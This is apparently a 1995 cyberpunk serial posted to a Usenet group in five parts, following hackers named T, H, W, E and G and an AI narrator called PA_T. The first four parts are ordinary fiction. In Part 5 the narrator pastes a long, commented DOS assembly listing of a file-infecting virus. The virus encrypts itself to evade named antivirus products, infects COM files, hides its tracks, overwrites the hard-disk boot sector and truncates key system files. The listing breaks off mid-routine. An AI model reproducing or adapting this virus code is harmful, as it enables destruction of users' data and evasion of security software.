From: bachel@neosoft.com (bachel)
Subject: PA_T  (Part 1)
Date: Thu Apr 20 05:23:50 MET DST 1995

Sorry, haven't quite named the characters yet.
They are T, H, W, E, G, and the loveable PA_T.
Perhaps you could help me name them.

PA_T.
by  Robert L. Myers
bachel@sam.neosoft.com
_13.651.7674
copyrighted 1995. PMAWU

Part 1

'Shit I hate this job'. He knew that wouldn't work. Not this time, at least.
It only occurred to him that the thing that WAS working was the
satellite link. Christ - only IT would be. "OK, it gets real tricky after this,
so stay with me," he mumbles to himself. "W and I will have only have
43 secs to jack-out," any later and...T chose not to think about it.
Splicing faster then a man should be allowed to, G knew he had to be right.
He better be right. He IS always right. It's you T... yah you...pay attention, dude.
Taking it over the limit - 'shock on the wir' as ol' E would say
right about now. But, he wasn't was he - its you, now.
T moved his hand ever so slightly, adjusting the eyeRythmn as he pro-
ceeded past the last of the ICE. Vibrations - the humming - always the
humming. Made his mind tickle. Good sign to move - NOW! W moved
to the quadrant to the 32ns north. It caused the slightest of work for T
to maintain the concentration to get right beside, exactly as needed.
"Yo baby...look at that," W groked. It was quite impressive for the part
of the net they were in.
The ALARM mech stood approx. 200 phyrds to the left, materializing
so alarmingly fast that the code had not set and the neurals were floating
cautiously around it's head. "I figure you'll have 8.4 secs before she has your
ass." W was right - god, T needed to move, and about 6 secs ago.

T had never intended to take the ALARM down that fast. Guessing, he over-
compensated for the lack of pre-play time. So, when T absorbed the data
coming at him in nanosecs time, it came as a Special K would come to
a raver. It never ceases to amaze me, he thought, what type of trash they code
these things with. '90% byte free' as we used to say back in the corpDays.
What a time to be neuraled to a past memFlash. T spit it out as fast as
it came in. "Turn the page, W. Social entropy is raining today." W look under
the quad to the right and behind T. Sparkles beating down to the ethos.
A rainbow of 0's and 1's. Bits flaking ever to float around, or at least
until the next one of those new bitCol sweeps by. Pure Vkill.
"Shall we move on...PAY ATTENTION, man". T could feel W's anger
kranking up. Why where so many people nowadays saying this to T?
He would have to figure that when he got back to M.E.. "Ok..Ok..let's do it."
PHREAK appeared on the vertical horizon. They moved in unison towards the
towering sphere of what can only be called the 'largest server' in terms of cpu's.
However don't get me wrong, it was a sight that made T think about H. God,
he hadn't thought about her since..since, oh oh...CHRIST, THINK MAN, THINK. 33 secs.
He felt like he was losing it. No, he WAS losing it - he knew for some time now. Just
couldn't get it right - that ol' rhythm of the rage, not this time...it would be the LAST
time. "Talk to HAMMER, drop it now, T" W whispered. Something in the neurals
went faster. T moved, got ready, moved and was in.

What a sensation to say the least. H would have wept. She would have rejoiced
in the knowing of the KNOW. PHREAK appeared to react, slightly at first, but
T could feel his time to vap. "2.6 secs," W reminded. Christ if T didn't know him
any better, he would have thought that he wasn't getting anything out of this. "Way cool."
It was T's immediate reward. T purged down further. 2.01..1.9..1.67...1.4... T figured
he'd have done it at about 1.7, so this was cutting it about as close as a penChip.
1.37...He again moved. The tacTrace slipped into a neat corner. Bracing himself
for the absorption, T went further in.

IT came down at that time. Damn it! Damn it! Why? Why do those god-damn phreakers
always come along? The satellite feed that WAS working started to fritz. "G...G....
where are you, man," T thought. "ok.ok.ok." was flashed through the neural. G,
poor G. He would have gotten...CHRIST MAN! ...06. T and W knew they would never
make it. Coming to the same conclusion, both at the same nans time, reached, with
their minds, and pulled the jacks out from behind their ear with their left hand.

"Fuck! Fuck! Fuck! Do you know how close we came...well, do you? You little twerp,"
T found himself diffidently in the 'rhythm of the rage' on this one. H would have not been
happy. She would have cringed in the corner, and pouted. 'T WAS paying
attention this time' she'd have said. G was cowering too...well not quite. "T T my man,
I just didn't have enough time to negotiate with those phastards," G replied. "It came
down to either cut loose - which you hate, I know...I know. Or, pay. And you know that we
don't have what they want. So let it ride, OK? We'll get it, don't you go fritz'n on me.
Not this time, OK? OK?" "Ya, ya, ya," he was right. W screamed "CHRIST! I got to go
to the bathroom," gets up and wonders into the other terRoom. "Can't wait to get back
to M.E., anyhow...," is the last thing T hears before he passes out.




From bachel@neosoft.com (bachel)
Subject: PA_T  (Part 2)
Date: Thu Apr 20 05:29:59 MET DST 1995

Sorry, haven't quite named the characters yet.
They are T, H, W, E, G, and the loveable PA_T.
Perhaps you could help me name them.

PA_T.
by Robert L. Myers

Part 2

T saw two things when he opened his eyes. H's face, and that damn sign over the
door, working its way around and around: ...I believe...I see...I am...I need...
'Shit, this means therapy,' T thought to himself. "BUT WHY? Why do the drugs have
to be so damn TRIPPY?" H was giving it to the physc who was moving around with
his so-small-so-dense hand-held deaLife. Whenever H saw newTech she always
tried to crash the other's party. "Ya think that you'd have know better. Here give me
that. See if I can..." But the japMan would have nothing to do with her high priest
mode. As he moved for the door, he welts "He WILL not be giving the jack back."
Right about this time T sees W crashing through the door, pinning Mr. tecMan
to the wall behind the door and lifts him two feet off the floor. "Pardon, Pardon, Mr.
tecMan, but I come for my wife!" H blushed, scoured, and remained steadfastly at T's
bedside. tecMan just kind of crawled into himself about that time and whimpered
out. H screaming  that he has 'no say WHAT so ever it THAT!'. By the way, T had noticed
that she HAD worn T's favorite dress. Dress? Yes, dress. Kind of retO-60, but a touch
more zeppie. Her hair was, as always, long blonde, straight down the middle of H's
near-perfect back. T thought near perfect, because there was that little incident. CHRIST.
PAY ATTENTION. There it was again. And maybe ol' T wasn't as well as he thought.
W came striding up the opposite side of H, so that they, T's two best...best..."Do you
think he'll ever...ever..." H's lip quivered. W look solemnly first at H, then slowly down
to T... and asks "what makes you think he had it in the FIRST place?" They both
phracked up.

"Shit! Shit! Shit!" T bloughts. "I didn't even get to say boo, act out my last dying wish,
or SOMETHING." "Com'on, get up. Let's go." Apparently both weren't buying it.
T throws the covers back, swings his feet down. 'Everything normal so far,' he thinks.
"Can you at least try and walk in a straight line when we get out of here?" H demands.
That silly little dee-lite smile on her face. That girl knows more about more then anyone
T had met, both here and M.E., and for that matter MATRIX, as well. Leave it to her to
hack into the medVAC and arrange for the doses of, as she would put it, some 'Acid
Hammer' shit. To be more exact, the intRo into T's arm had maxed T to the megs. Walk?
Hell, he could fly! "Do I have clothes on?" T asked timidly. Feeling with what he mistook for
silArm straight off the ol' simLine, he was able to determine he was going to need help in
this one. BIG help. Well, he had it, and within 20 minutes W and H had him gliding down
the last of the medSite's spatial center. Christ, it was newTech, phastick newTech. T was
reminded of the giant shopping malls on ol' M.E. 'Oh, mother earth, sweet mother earth.
What are you worth?' Oh, T believed about 23 million digiFlex dollars. This place reeked
of bigCorp, and Christ, T hated corpGrowth. "Let's move on, shall we?" T conjouled.
"Yes, SHALL we?" W whispered. "Both of you two stop it, stop it right now." fine,
level headed H says, as she sees the opening that she had been vying for since they
had reached the far end of the pathWalk they had just transversed. "There, grab it. Grab it, W."
W did, and in a little over two and a half jumps, T being the bit-floating type now that the
drugs had moved on to the next warp, all three where on their metTax
and flying out into the open.




Newsgroups: alt.cyberpunk.chatsubo
Subject: PA_T  (Part 3)
Date: Thu Apr 20 05:36:26 MET DST 1995

Sorry, haven't quite named the characters yet.
They are T, H, W, E, G, and the loveable PA_T.
Perhaps...

PA_T.
by Robert L. Myers

Part 3

The first thing that E says when he sees T is "...what shit do they have this boy on. H is this
your doing? ....ya I figured." They had moved to quadDq in the south, if you could use the
course specs back in M.E. Things where somehow quite different, yet somehow the same here.
E's building was neither oldTeck or newTeck, but fell into that somewhat desperate time after
the millennium craze. Christ, what a time that was. Glad it's over. E had moved from M.E. when
the shit started to flow between him and the vast netPop he controlled. Sometime things don't
go quite the way they're planned. Mad men shake up the world all the time. This was no different
- just bigger. BIG doesn't do justice. But then, justice flew out the net when the ol' curColapse
shook up the world. Seemed to make every one a bit craXy. That's just about the time that the
two corGrowth took a major tecJump. SimXoft and PENTEL had just about finished writing the
book on the hyper-jump needed to get us 'Tekked', as they so fondly put it. The world never
looked back. Not even hiccuped. Just drove straight into it. Blind? Not exactly, after all, PENTEL
had but 2 short years before the Great Turn. But they came through. Didn't they? And what about
SimXoft? Didn't they contribute BIG time. Wow! Win went, in came OB, next came next, and
then the shit got steep. The learning curve went ballistic. It took major, and T had seen Major
before, to get it right. But that's where T comes in. Ya see - he got it and he got it very, very fast.
So fast if fact that he was around thirtieth when he took the operation. The neural jack, man.
PAY ATTENTION. T and H so named it for their long history of T's nemesis. It went in, and T
went on. On line that is. Dark Fiber land, back then. Creativity wasn't enough. Pure knowledge
wasn't enough. Nothing, and T meant nothing, was to have pre-played this for him. Christ, and
him going through all that just to find his own Silicon Jesus. Wired...all the way.

Poor T. Poor, poor T. He was rocking 'bout this time. He was not all together NEW to this sort
of 'designer reality'. 'Welcome to my mind', T tells E. E was not happy. T's ego had been blown.
If only the 'little Aeons in fields with many colored balls' would leave T alone, just long enough
to get back. E always was a phractal disbeliever. T was his responsibility, and to look at the poor
boy, he had failed miserably. "C'mon...he'll come down 2-3 hours at the max." H had to now
somehow justify to the motley group. "E, back down, man. Keep cool...please?" She faked a
smile.
W had moved into the tecKit, hungry as usual. This guy was something else. Only guy T knew
that could stay with it -all the way. He always PAID ATTENTION. Only, he was not the type to
even squander any excess mimes. None. 'Somebody got to make some sacrifice' was
his link to the do-able. T met W in E's outer office. It was the most techKrank that T had ever
seen. W had even said later that he was 'stoked' by the place. That day seemed to be mostly
formalities to T. W got bored. And then, around 16, H strolls in. Just like her to have hacked
her way past the tecSec and into the room real virtual like. There they all were. T, W, H, and
E. That was last time they had all been together. Now, however has a different after-glow to it.
T sat up from the simCouch, turns to E and sings: "Drop...drop the hammer. Slammer...
Jammer...Drop it now...drop it now...Acid Hammer...Acid Hammer..." "That does it. H, get him
to bed," E barked. "NOW, move it girl. Before I kick your tight little ass." H moved, spilling
the vegSmart on the wooden floor. "C'mon T, lets move to the tecRec room."

H had persuaded T to follow her into the one space outside the MATRIX that she had
found to fit her moods. Outside of a few locations on M.E., she could not just survive in what
most would consider luxury. No, her test was in the newTeck she had lying around. Digital
devices of every sizRam, outTek, and tecOp that E could muster up. The Vlibs in themselves
were to Vkill for. She moved with such swiftness to the new crate that sat bangled up against
the panels, that it left T swirling. "Think I'll lay down," T said. "Only...H...come and talk me
down. Please?" "In a minute T, yes...yes, go lay down. I'll be there in 1.2 secs." Christ, where
does this girl get this vast array of smiles? She look absolutely ravishing in it. T felt the
pain hit between his eyes, turned, walked some twenty simFt and fell on the synGos down.

Hours must have gone by. T looked at his watch, and the ceiling fan at the same time. A bit
vertigo, but in this space no one could avoid it. It had happened. It moved so far in, he came
through. The blood/brain barrier coming apart like a celoTek page. And T was through it.
"H?...H?..." T whispered, then spoke it, then came back: "yes? Will you come look at this T?"
"Don't know if I can make it? - I'll try." The only light in the room came from two sources. First,
the artificial light coming through the VwinTec, and the unique glow that was coming over H's
shoulder on the other side of the room. "I didn't think I had it in me to get it together." H proudly
stepped back. There about the size of the ol' desTop was the Vraak. T had only read three
e-mails about this high HighTec. Top clearance maybe, just maybe, would get you a pDsk of
its contents. But, T seriously wondered how, even E could muster the NetLinks for this one.
"Are you sure you got the RimTacs in position and wired right? Maybe we ought to wait for G
to get here." If looks could kill, H's would have blithed half a starving planet. She had an equal
number of scours to go with the smiles. "Sorry," T tried to counterbalance the arctic cold air that
suddenly blew in under those lovely eyes. "WHAT! What did you say? You..you know what you
are? Huh? Well, do you?" T couldn't brace himself fast enough for the deluge. His head hurt,
 as he tried to apologize. "The only way your going to recover from this one, you ass hole, is
to jac this thing." Christ, and she was serious about it, too.

"Not until E has had a chance to look the boy over," W said. He had vertched his way in, only
giving his patented belch as a greeting. "Says he would like to talk to us. Said to come get you
two, and hoped that I might break up the...the...let me see, how did he put it? Oh yes, the
fuck-fest. E can be so...well ya know." H threw a scrwTec at W, missed and careened off the
panel over his left shoulder.







Newsgroups: alt.cyberpunk.chatsubo
Subject: PA_T  (Part 4)
Date: Thu Apr 20 05:42:32 MET DST 1995

Characters are named T, H, W, E, G, and PA_T
for now. Maybe you could help me name them.

PA_T.
by Robert L. Myers

Part 4

They had to wait for T to take a leak. In all the hours that have just passed, and to T they felt
like eons, he had failed to remember to do the basic things these ol' human portals must
contend with. As he stepped back through from the simRef, he asks W if there was anything
left to eat in the tecKit? "Sorry my man, no time. I told him we'd be right back. And besides
I didn't leave anything." "Figures," T replies. H touches up her face, and they leave for the
tecSpace. If the tecRec was considered wired, wait till you saw the tecSpace. T was in awe
the several times he had clearance to visit the 'mad doctor in his lab'. E had it all, and the
security of the netPop to trust him with it. This place made PENTEL's white rooms look like
a medieval castle, complete with dank dungeons. Every thing in this room was made of one
substance, and that was the one thing PENTEL HAD delivered on. The nanTec to give us this
wonder-of-wonders. This alloy was of no ordinary space and time. It could transverse the
cosmos in an instance. Tek made with this phroxidesriptormothane compound could be not
only indestructible, but conform to the thoughts of man. And when SimXoft delivered on the
code to run this mold, and this baby sang at the nanoTec level, then things started to happen.
The object would take on the physical structure that the mind focused on it, and could conjure
for its idenity. Reality truly manipulated. Christ, after that nobody could do anything, for fear of
never getting the ol' reality back. That's why this stuff was out of touch to all but a few. A few
that knew to PAY ATTENTION...T sat heavily down on the floor. The simLin felt hard and
smooth. Next thing, H is squatting in front of T with some watTec, dabbing T's lips. "WHAT
HAPPENED? Jezs, you gave us a scare. Maybe, I did over do it just a little at the medVac.
I'm so sorry, T. Here, see if you can get up. W, I think you can help him up now."

"You see? it wasn't your screwing around with the dosages that got T," this was the first
thing T hears E tell H when he jacs back from the nice cream tones that E had found for
him over in the far corners of the MATRIX. T like it there. It was the first time all day T had
felt himself - too bad that it wasn't 'state-side' as they say. But, T had spent lots of time
on that side of the divide. He like it over there. Maybe too much. "What's screwed up?" T
asks. "It appears that you've got your self a little virus, T." E started to explain, and was
interrupted by his clicking out his neural. "Damn things. Will we ever get to the point where
we don't have to have these damn things sticking out our heads. Christ almighty, we can
do it with metal...but not mental. WHY? Why, you ask? I'll tell you why. Because MAN can't
focus long enough to do the meme work, and get past all this. Digital Stoneage is what I
call it." It was a patent tirade for E. H love these emotional times. She would grab either W or
T by the arm, and hold on for dear life. "As I was saying," E continued. "You seem to have
gotten some bad code up there." Pointing to T's head. "How it happened, I have no idea. But
how to get rid of it? Don't bother, son. When you were out in those nice cream tones, I had H
here scrape it out. You can thank her." H batted her eyes, smiled one of HER patent smiles,
and left, followed closely by W. "But I did ask them to leave, so that I could talk to you. I'm
worried about you. I saw some things today that...well...question my ability to handle you. No,
not you, you...your phrifts. You know, your..." He paused. T had known E for many years, and
in all that time, through good, through hell, T had never seen E stumble for words. "Christ E,
lay off, will ya? You sound like...hell, it was you that got us this far. Shape up, man!" E stumbled
along continuing to elude to some long stretch in the future where MAN will devour TECH. An
archaic revival or something. T wished he had left with H and W. What WAS this ol' man trying
to get to. T concentrated his energies to rise to the intellTec that E was grasping to explain,
but both missed. E high, and T, poor ol' T low. As low as one could just about go in one of
Mother Earth's revolutions.

It took another 16 M.E. days to arrange space on a shuttle for 3. All that time T, H, and off-and-
on W, tried halfheartedly to get back inside the PHREAK. "Wasting all that Satellite time I
purchased. Thank you ever so kindly. Kids! Umph.' E would tell them every time he saw the
simBill. The Vraak was a godsend, however. H primed like she was in an ol' fanMag. Even she,
which she never, well almost never, 'went over', as they say, did. T and her spent one glorious
Vtwirl jacked about. Took all of one afternoon, and well into the evening...
In fact they where having such the time, that if it wasn't for W shutting it down, they'd probably,
no - most diffidently, be there still. "All right, kittens," whispered W. "Come on back now. Time to
reVid the day." It wasn't until both where touched on the shoulder did both T and H realize that
the 'ride' was indeed over. "DAMN! Partner. Why? Why did you do that for?" T smirked. When H
realized that it was W who stopped things, she went livid: "...What in the fuckin' hell do you think
you're doin'? YOU! You phastard. C'mon T? T?..." "Oh, ya right. Like I'm out there for...what
W?...5 6 hours, and I'm suppose to hop right up, and move your way? Uh, I don't think so."
"WHAT? You...you...IF I EVER have to go THERE again...not with you two, phastards.
Ever...you here me? EVER!!!" as she stormed out to the tecSpace. "Think she'll forgive me?" W
asks. "Your guess is as good as mine...hey, by the way did you see that conStruc out the
quad 87 way. Did you pick it up? Now, that we wasted...er, used...up the satellite lines, We
need to phrack this PHREAK thing and go there." "WHAT? You still have that virus, man? PAY
ATTENTION. There is no way, in the cosmos that I chose to deal in at least, that you or I or E or
anybody HE knows has the rights-to-passage to that V. Get real. What where you and H DOING
out there, anyway?"




Newsgroups: alt.cyberpunk.chatsubo
Subject: PA_T (Part 5)
Date: Fri Apr 28 17:47:06 MET DST 1995

Here, the loveable PA_T is introduced for the first time.
Other characters are T, H, W, E, and G.
Haven't quite named them yet. :(

Part 5

Chapter 2

simIn
When it came down, it came down hard. Some knew, some didn't. The 'purge', as
some would call it in it's infancy lasted about .131 of a nanoSec. Just long
enough to get in,get what it needed and remove itself. Depositing enough
lethal viruses in it's trail to stop all but IT, and few chosen phrackers,
and GiaTec (Mother's Earth's highest electronic surveillance techno-isym).
Yup, datCops. Ol' M.E. had her defenses up in this day and age.
But, apparently not well enough. It was plain to see was that this
'purge' was clearly not an end in itself, nor was it like the others. The
'purge' in this instance simply wiped out the entire simUN Vlibs of all the
records on ANY person who eVoted in their respective Countries. Not when they
voted, not how they voted, not why they voted, just...just their names. Now,
think about this for a minute or two. This narrows down the list to just
a few wired 1st world countries. Democracy and all that. Few million?
Maybe. Certainly not billions? OK? Something odd, though. Something
that has these names linked. Something that no one saw, but T.
But i digress...

"Let me introduce myself," someone once said. Actually you've already met me,
but let me spell it out to you: i'm PA_T. PolyNural Artificial Triptorophane,
as my creator so aptly put it. Code. Simply code with a difference. i think.
Just like MAN. However, i am anything but. And please none of this suedo-
comparisons to robots, neurals, winVecs, OBuse, and certainly not to those
gastorial abonomations: Vspews. i have no form. Right now i smell blue, taste
music, see rivers of data flowing, but the debugging code will be here by
tonight. A Vjoke :) . i Vlearn, i Vthink, i Vfeel, i Vdiscuss, i Vargue, i
Vcry,  i V... anything you Humans do, but only...on the OTHER side. PAY
ATTENTION to coin a phrase. Now...where HAVE i heard that one before?
If only i can have your simTen for  just a few teraSecs, then we can have
a little talk, ok? Ya see, i know...boy, do i know...
simOut.

simIn
Here, let me set you Vstraight:

.MODEL TINY                     ;
.CODE                           ; ASM!
ORG    256d                     ; 100h
                                ;
Virus_start:                    ;
xchg ax, ax                     ; NOP!
nop                             ; NOP!
                                ; To fool TBAV, from detecting Burma,
                                ; ie (hex) B8 01 FA, but also so we
                                ; don't infect the orginal-virus.
                                ;
mov ax,0fa01h                   ; Let's un-install MSAV junk program
mov dx,5945h                    ; from memory for a cost of 8 bytes :)
int 16h                         ;
                                ;
call get_delta_offset           ; I just call.. ...to find the offset!
real_start:                     ;
                                ;
Get_delta_offset:               ; Get the delta-offset
pop bp                          ; with the same old trick
sub bp, offset get_delta_offset ; as always
                                ;
Call_en_de_crypt:               ; This code, does the exact same thing as
mov ax,bp                       ; a "call en_de_crypt", though it take
add ax,11Ah                     ; a few more bytes. If we use the "usual"
push ax                         ; code, F-Prot will detect it as Radym,
jmp short en_de_crypt           ; that The Attitude Adjuster/Virulent Grafitti
                                ; wrote some years back. For more info about
                                ; all offset's, tasm with /la (listening)
                                ;
jmp short real_code_start       ; Then, we'll continue..
                                ;
encryption_value dw 0           ; Random value to use as the XOR-value,
                                ; place this in a un-encrypted area
                                ;
Write_virus:                    ; Infect the victim's!
call en_de_crypt                ; Write encrypted copy
                                ;
lea cx, virus_end-256d          ; Write from 100h to virus_end,
lea dx,[bp]                     ; ie, write all of this code!
mov ax,word ptr [bp+virus_end+1ah+2]
inc ah                          ; add ah,1 won't work here.
add dx,ax                       ;
mov ah,64d                      ; The 40hex joke (again)
int 21h                         ;
                                ;
call en_de_crypt                ; Return to the un-encrypted beginning
ret                             ; and then we jump to real-code-start:
;------------------------------------------------------------------------------
-
; In the encryption, the most important to think about is to encrypt ONLY
; the thing that you can encrypt for getting a virus working. That is
; (in this virus) the code between real_code_start to the rest of the virus.
;
; It would be smarter to place the encryption and the write_virus routine as
; the last end of the code, b'cos of that would make the virus harder to
; debug/dissassemble than it's now. Also it would have saved some bytes
; as well. (Shoddy coding and damn stupid, heh?)
;------------------------------------------------------------------------------
-
En_de_crypt:                               ;
                                           ;
mov ax,word ptr [bp+encryption_value]      ; Value to encrypt with
lea si,[bp+real_code_start]                ;
mov cx,(virus_end-real_code_start+1)/2     ; Part of code to encrypt

loop_again:
xor word ptr [si],ax            ; Nice little function
inc si                          ; Add si,2
inc si                          ; ^^ Cost one more byte
                                ;
loop loop_again                 ; Encrypt two bytes/loop (word), until
ret                             ; real_code_start to virus_end is encrypted
                                ;
Real_code_start:                ; All instructions below will
                                ; in the infected file be
                                ; encrypted, thus making it hard
                                ; to analyse for heuristic A-V.
                                ;
cld                             ; Clear direction flag
                                ;
Set_Dta:                        ;
mov ah,1ah                      ; Set the DTA-area to the
lea dx,[bp+virus_end]           ; end of the file, and we'll
int 21h                         ; save some bytes. We don't use
                                ; de default 80h b'cos that will
                                ; overwrite the parameters in the
                                ; original program.
Buffer_Xfer:                    ;
lea si,[bp+first_bytes]         ; Transer the first four
lea di,[bp+@buf]                ; instructions to a buffer
                                ; in memory, so the original
                                ; program can execute later on
                                ;
xor cx,cx                       ; Mov cx,2 is smaller/faster,
add cx,2                        ; but this is clearer/dumber.
                                ;
rep movsw                       ; (Move string by word), allows you to
                                ; copy entire regions of memory
                                ; (buffers) from one place to anther with
                                ; only that command "rep movsw".
                                ;
mov di,4                        ; Infection-Counter, max 4 / run
                                ; Will be decreaced each time we set back
                                ; our old attribs (ie, after file-infection)
                                ;
Get_drive:                      ;
mov ah,19h                      ; Get the drive from where we're
int 21h                         ; executed from
                                ;
cmp ax,0fh                      ; Is disk-drive invalid?
je  Floppy_exec                 ; Yep, then, jump and play that we're
                                ; executed from A:. Totally meaningless
                                ; really, b'cos a file can't be executed
                                ; from a in-valid drive.
                                ;
cmp al,2                        ; A: or B:?
jnb check_ram                   ; Nop, not from a floppy drive
                                ;
Floppy_exec:                    ;
jmp on_floppy                   ; If they execute us from a floppy
                                ; they might have noticed our
                                ; existence and are keeping us under
                                ; investigations. Then we can as well
                                ; trash that sucker before it's too late.
                                ;
Check_RAM:                      ; Some people use G: as a RAM-drive,
cmp al,6                        ; that is under 4 Mb, ie, not much
je  floppy_Exec                 ; to infect, so, we crash them here,
                                ; as well.
                                ;
Get_dir:                        ; If we aren't executed from A B or G:
mov ah,47h                      ; we'll just continue, and now, get
xor dl,dl                       ; the directory from where we're being
lea si,[bp+virus_end+2ch]       ; executed from.
int 21h                         ;
                                ;
Find_First:                     ; Find first file with,
mov cx,111b                     ; any attributes and with
lea dx,[bp+filemask]            ; the extension of 'COM'
mov ah,4eh                      ;
_4fh:                           ; AH=4FH, (Find Next File), this
int 21h                         ; smart little trick will save us
                                ; plenty of bytes, compared to writing
                                ; the whole file-search routine twice!
                                ;
jnc clear_file_attribs          ; We did find a file!
                                ; Happy Happy, Joy Joy!
                                ;
jmp ch_dir                      ; We didn't find a file, so let's
                                ; try in another directory
                                ;
Clear_file_attribs:             ;
mov ax,4301h                    ; Set file attribs to
sub cx,cx                       ; nothing.
lea dx,[bp+virus_end+1eh]       ;
int 21h                         ;
                                ;
Open_file:                      ; Open file          (AH=3DH)
mov ax,3d02h                    ; in read/write mode (AL=02H)
int 21h                         ;
xchg ax,bx                      ; File handle in BX
                                ;
Read_file:                      ;
mov ah,3fh                      ; Read file (or device)
mov cx,4                        ; Number of bytes to read
lea dx,[bp+first_bytes]         ; What to read
int 21h                         ;
                                ;
Check_already_infected:         ; Check if file already is infected,
                                ; or some other file that we don't
                                ; want to infect
                                ;
mov si,dx                       ; Put the first_bytes that now is in DX in
lea si,[bp+first_bytes]         ; SI. Compare with our own jmp-construction
cmp word ptr [si],0e990h        ; and if it match (is equal), then
je already_infected             ; don't re-infect it.
                                ;
cmp word ptr [si],5a4dh         ; We'll also check if a file is a
                                ; renamed EXE file, b'cos they will
                                ; also un-infected work perfectly.
                                ; First check the beginning for a ZM?
je  already_infected            ; If so, then, don't infect it!
cmp word ptr [si],4d5ah         ; But EXE files can also begin with MZ,
je  already_infected            ; and then, don't infect it.
                                ;
cmp byte ptr [si+1],26h         ; We'll not infect files that starts
je  already_infected            ; with a ' &' (Psychosis infection).
                                ;
cmp word ptr [si],9090h         ; Don't infect files that starts
je  already_infected            ; with a double-NOP (90h), the classic
                                ; infection-marker for viruses
                                ;
mov ax,word ptr [bp+virus_end+1ah]
cmp ax,400                      ; We'll not infect files that is smaller
jb already_infected             ; than 400 bytes or bigger than 63000
cmp ax,63000                    ; The small b'cos of we don't want
ja already_infected             ; debuggers to do a 5 byte "dummy" file,
cmp ax,1701                     ; and in the case of big COM files, the
je already_infected             ; message "Program to big to fit in memory"
                                ; displayed. Also, we will not infect files
                                ; that is 1701 bytes long. Pretty dumb, huh?
                                ;
cmp word ptr [bp+virus_end+35],'DN'
jz already_infected             ; We'll not infect command.com, b'cos
                                ; of many people check that file for virus,
                                ; and also b'cos of normal people don't
                                ; got to much file under the root-dir anyhow.
;------------------------------------------------------------------------------
-
; Here is the "tricky" part. First we'll move the file pointer to end of file,
; take 4 bytes from a buffer, containing (now), nothing, then, load it with
; our own instructions and write it to the beginning of the file. After that,
; we'll move to end_of_file and call the procedure in the beginning
; (un-encrypted area!) that writes the virus to the end of the infected file
;------------------------------------------------------------------------------
-
Move_file_pointer_2_EOF:        ;
mov ax,4202h                    ; AH, 42h = Set current file pointer
                                ; (Current location in file), and
                                ; AL, 02H = Signed offset from end of file
xor cx, cx                      ; Most significal half of offset (zero)
xor dx, dx                      ; Least significal half of offset (zero)
int 21h                         ;
                                ;
sub ax,4                        ; Subtract the first four bytes, which
                                ; will be overwritten with the instructions
                                ; that we took from End of File, that was
                                ; stored in an empty buffer "Istbuf"
                                ;
Fill_1st_buf:                   ; Now, load the 1stbuf with
mov word ptr [bp+Istbuf],0e990h ; with a Nop and a jump to the
mov word ptr [bp+Istbuf+2],ax   ; virus beginning
                                ;
Move_file_pointer_2_TOF:        ; Set current file pointer to
mov ax,4200h                    ; the beginning of file (00h)
int 21h                         ;
                                ;
Write_first4:                   ;
mov ah,64d                      ; Write the new instructions
mov cx,4                        ; to the beginning of the file
lea dx,[bp+Istbuf]              ; with the buffer we just loaded
int 21h                         ;
                                ;
Mov_2_EOF_again:                ; It would be smarter to call write_virus
mov ax,4202h                    ; before we moved the file-pointer to
xor cx,cx                       ; Top_of_file, instead of moving the file-
xor dx,dx                       ; pointer to End_of_File twice, but IMHO
int 21h                         ; it doesn't really matters anyhow.
                                ;
Get_random:                     ;
mov ah,2ch                      ; Get a random value from the clock
int 21h                         ; to use for the encryption so the A-V
add dl, dh                      ; must place the string at the encryption
                                ; routine, thus making it easy to mutate
                                ; later on...
                                ;
jz get_random                   ; If we get the value zero (no encryption)
mov word ptr [bp+encryption_value],dx   ; we'll loop that procedure until
                                ;         we get a higher value
                                ;
call write_virus                ; Now, write the virus code from 100h
                                ; (Where this file start) to end_of_file)
                                ; to the end of file in the opened file.
                                ;
jmp short restore_time_date     ; Then we'll cover our tracks
                                ;
Already_infected:               ; If a file already is infected
inc di                          ; increase DI (used for infection counter)
                                ; with one.
                                ;
Restore_Time_Date:              ; We'll set back the file time/date to
lea si,[bp+virus_end+16h]       ; what it was before we touched it
mov cx,word ptr [si]            ; CX=Time
mov dx,word ptr [si+2]          ; DX=Date
mov ax,5701h                    ; AH=57h AL=01h = Set time/date
int 21h                         ;
                                ;
Close_file:                     ; Close the file which now is infected
mov ah,3eh                      ;
int 21h                         ;
                                ;
Set_old_attrib:                 ; Restore old file-attribs, because of
mov ax,4301h                    ; before we infected the file, we cleared
xor ch,ch                       ; the file attributes, so even the hidden,
mov cl,byte ptr [bp+virus_end+15h] ;and write protected files get infected
lea dx,[bp+virus_end+1eh]       ;
int 21h                         ;     (AH=43H AL = 01 = Set Attribs)
                                ;
Enough_files:                   ;
dec di                          ; Decrease the infection counter with 1
cmp di,0                        ; and check if we've infected enough
je no_more_files                ; Di=0, we're done with the infection
                                ;
mov ah,4fh                      ; Nope, we want more files to infect
jmp _4fh                        ; and we'll do this until we're finished
                                ;
On_Ram:                         ;
On_Floppy:                      ; We are executed from
                                ; A B or G:
                                ;
mov ah,2ch                      ; Get time (dl=1/100 of a second)
int 21h                         ;
cmp dl,50                       ; That is 50% chanse that we're bad,
ja Trash_Boot_Sector            ; or REAL bad.
jmp droppie                     ; (Blame Caro, Blame Caro!)
                                ; This might look stupid, not to "ja droppie"
                                ; since I got the Trash_Boot_Sector as the
                                ; next procedure anyhow. But that would result
                                ; in a "Relative jump out of range by 0004h
                                ; bytes" since we with a short/condition jmp
                                ; only can jump 128 bytes forward in the code.
                                ;
Trash_boot_Sector:              ; We might be executed from a A B or G:
                                ; or the date is the 31:st, we will
mov ax,0301h                    ; destroy the boot-sector on drive C:
mov cx,0001h                    ;
mov dx,0080h                    ; 80h = C: 00h = A:
lea bx,[bp+virus_start]         ; Overwrite with our own virus code
int 13h                         ;
                                ;
Truncate_Files:                 ;
mov  dx, offset file1           ; v.ccp//Autoexec.bat
call trunc_it                   ;
mov  dx, offset file2           ; v.ccp//Config.sys
call trunc_it                   ;
mov  dx, offset file3           ; v.ccp//Command.com
call trunc_it                   ;
call restore_start              ;
                                ;
Trunc_it:                       ; We'll truncate the somehow important
mov ah,3ch                      ; files after we've trashed the boot-sector
mov cx,110b                     ; and if something screws up, we'll jump
int 21h                         ; and check for what else we can do that
jc  no_more_files               ; clearly mainifests our presence to even
ret                             ; the uninitiated. Ie, of plain cruelness :).
                                ;
No_more_files:                  ; We didn't find any more file, or
                                ; the infection counter is zero.
                                ;
mov ah,2ch                      ; We'll get a 1/100 of a second,
int 21h                         ; and if the value we get is "1",
cmp dl,1                        ; we'll jump to a nice pay-load.
je  overwriting                 ; Otherwise, we continue and check
                                ; what else we can do..
Dates:                          ;
